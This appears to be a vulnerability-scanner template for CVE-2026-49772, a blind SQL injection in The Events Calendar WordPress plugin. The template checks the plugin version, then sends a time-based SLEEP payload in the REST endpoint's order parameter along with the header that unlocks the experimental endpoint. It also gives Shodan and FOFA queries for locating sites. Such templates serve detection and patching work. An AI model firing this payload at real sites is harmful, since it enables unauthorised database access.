The Events Calendar 6.15.12 - 6.16.2 - Unauthenticated Blind SQL Injection

id: CVE-2026-49772

info:
  name: The Events Calendar 6.15.12 - 6.16.2 - Unauthenticated Blind SQL Injection
  author: HaroonArshad-53
  severity: critical
  description: |
    The Events Calendar WordPress plugin versions 6.15.12 through 6.16.2 do not properly validate the order parameter of the experimental tec/v1 REST events endpoint, allowing unauthenticated attackers to run blind SQL queries and extract arbitrary database contents.
  impact: |
    Attackers can execute arbitrary SQL queries, potentially leading to data disclosure or modification.
  remediation: |
    Upgrade to a version later than 6.16.2 or the latest available version.
  reference:
    - https://www.cve.org/CVERecord?id=CVE-2026-49772
    - https://github.com/joshuavanderpoll/CVE-2026-49772
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:L
    cvss-score: 9.3
    cve-id: CVE-2026-49772
    cwe-id: CWE-89
  metadata:
    max-request: 2
    vendor: theeventscalendar
    product: the_events_calendar
    framework: wordpress
    shodan-query: http.html:"/wp-content/plugins/the-events-calendar/"
    fofa-query: body="/wp-content/plugins/the-events-calendar/"
  tags: cve,cve2026,wordpress,wp-plugin,sqli,blind,unauth,time-based-sqli,vkev

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /wp-content/plugins/the-events-calendar/readme.txt HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - compare_versions(version, ">= 6.15.12, < 6.16.3")
        internal: true

    extractors:
      - type: regex
        name: version
        part: body
        internal: true
        group: 1
        regex:
          - "Stable tag: ([0-9.]+)"

  - raw:
      - |
        @timeout: 20s
        GET /wp-json/tec/v1/events?orderby=event_date&order=ASC%2C(SELECT%20CASE%20WHEN%20(1%3D1)%20THEN%20SLEEP(6)%20ELSE%200%20END) HTTP/1.1
        Host: {{Hostname}}
        X-TEC-EEA: I understand that this endpoint is experimental and may change in a future release without maintaining backward compatibility. I also understand that I am using this endpoint at my own risk, while support is not provided for it.

    matchers:
      - type: dsl
        dsl:
          - "status_code == 200"
          - "duration >= 6"
        condition: and
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